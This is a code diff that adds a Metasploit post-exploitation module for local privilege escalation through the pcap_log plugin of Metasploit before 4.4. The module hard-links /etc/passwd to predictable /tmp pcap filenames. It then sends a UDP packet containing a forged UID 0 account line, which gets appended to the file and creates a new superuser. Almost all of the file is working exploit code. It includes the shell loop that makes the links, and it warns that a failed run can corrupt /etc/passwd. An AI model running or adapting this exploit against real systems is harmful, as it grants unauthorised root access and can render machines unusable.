|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | +require 'rex' |
| 10 | +require 'msf/core/post/common' |
| 11 | +require 'msf/core/post/file' |
| 12 | +require 'msf/core/post/linux/priv' |
| 13 | +require 'msf/core/exploit/local/linux' |
| 14 | +require 'msf/core/exploit/local/unix' |
| 15 | + |
| 16 | +class Metasploit3 < Msf::Post |
| 17 | + Rank = ManualRanking |
| 18 | + |
| 19 | + include Msf::Post::File |
| 20 | + include Msf::Post::Common |
| 21 | + |
| 22 | + include Msf::Exploit::Local::Linux |
| 23 | + include Msf::Exploit::Local::Unix |
| 24 | + |
| 25 | + def initialize(info={}) |
| 26 | + super( update_info( info, { |
| 27 | + 'Name' => 'Metasploit pcap_log Local Privilege Escalation', |
| 28 | + 'Description' => %q{ |
| 29 | + Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings, |
| 30 | + creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these |
| 31 | + filenames to /etc/passwd, then sending a packet with a priviliged user entry contained within. |
| 32 | + This, and all the other packets, are appended to /etc/passwd. |
| 33 | +
|
| 34 | + Successful exploitation results in the creation of a new superuser account. |
| 35 | +
|
| 36 | + This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap |
| 37 | + files and truncate /etc/passwd. Note that if this module fails, you can potentially induce |
| 38 | + a permanent DoS on the target by corrupting the /etc/passwd file. |
| 39 | + }, |
| 40 | + 'License' => MSF_LICENSE, |
| 41 | + 'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708'], |
| 42 | + 'Platform' => [ 'linux','unix','bsd' ], |
| 43 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 44 | + 'References' => |
| 45 | + [ |
| 46 | + [ 'BID', '54472' ], |
| 47 | + [ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'], |
| 48 | + [ 'URL', 'https://community.rapid7.com/docs/DOC-1946' ], |
| 49 | + ], |
| 50 | + 'DisclosureDate' => "Jul 16 2012", |
| 51 | + 'Targets' => |
| 52 | + [ |
| 53 | + [ 'Linux/Unix Universal', {} ], |
| 54 | + ], |
| 55 | + 'Stance' => Msf::Exploit::Stance::Passive, |
| 56 | + 'DefaultTarget' => 0, |
| 57 | + } |
| 58 | + )) |
| 59 | + register_options( |
| 60 | + [ |
| 61 | + Opt::RPORT(2940), |
| 62 | + OptString.new("USERNAME", [ true, "Username for the new superuser", "metasploit" ]), |
| 63 | + OptString.new("PASSWORD", [ true, "Password for the new superuser", "metasploit" ]), |
| 64 | + OptInt.new("MINUTES", [true, "Number of minutes to try to inject", 5]) |
| 65 | + ], self) |
| 66 | + end |
| 67 | + |
| 68 | + def normalize_minutes |
| 69 | + datastore["MINUTES"].abs rescue 0 |
| 70 | + end |
| 71 | + |
| 72 | + def run |
| 73 | + print_status "Setting up the victim's /tmp dir" |
| 74 | + initial_size = cmd_exec("cat /etc/passwd | wc -l") |
| 75 | + print_status "/etc/passwd is currently #{initial_size} lines long" |
| 76 | + i = 0 |
| 77 | + j = 0 |
| 78 | + loop do |
| 79 | + if (i == 0) |
| 80 | + j += 1 |
| 81 | + break if j >= datastore['MINUTES'] + 1 # Give up after X minutes |
| 82 | + # 0a2940: cmd_exec is slow, so send 1 command to do all the links |
| 83 | + print_status "Linking /etc/passwd to predictable tmp files (Attempt #{j})" |
| 84 | + cmd_exec("for i in `seq 0 120` ; do ln /etc/passwd /tmp/msf3-session_`date --date=\"\$i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done") |
| 85 | + end |
| 86 | + current_size = cmd_exec("cat /etc/passwd | wc -l") |
| 87 | + if current_size == initial_size |
| 88 | + # PCAP is flowing |
| 89 | + pkt = "\n\n" + datastore['USERNAME'] + ":" + datastore['PASSWORD'].crypt("0a") + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n\n" |
| 90 | + vprint_status("Sending /etc/passwd file contents payload to #{session.session_host}") |
| 91 | + udpsock = Rex::Socket::Udp.create( |
| 92 | + { |
| 93 | + 'Context' => {'Msf' => framework, 'MsfExploit'=>self} |
| 94 | + }) |
| 95 | + res = udpsock.sendto(pkt, session.session_host, datastore['RPORT']) |
| 96 | + else |
| 97 | + break |
| 98 | + end |
| 99 | + sleep(1) # wait a second |
| 100 | + i = (i+1) % 60 # increment second counter |
| 101 | + end |
| 102 | + |
| 103 | + if cmd_exec("(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false").include?("true") |
| 104 | + print_good("Success. You should now be able to login or su to the '" + datastore['USERNAME'] + "' account") |
| 105 | + # TODO: Consider recording our now-created username and password as a valid credential here. |
| 106 | + else |
| 107 | + print_error("Failed, the '" + datastore['USERNAME'] + "' user does not appear to have been added") |
| 108 | + end |
| 109 | + # 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload |
| 110 | + # However beceause the session is not a terminal, su will not always allow this. |
| 111 | + end |
| 112 | +end |
0 commit comments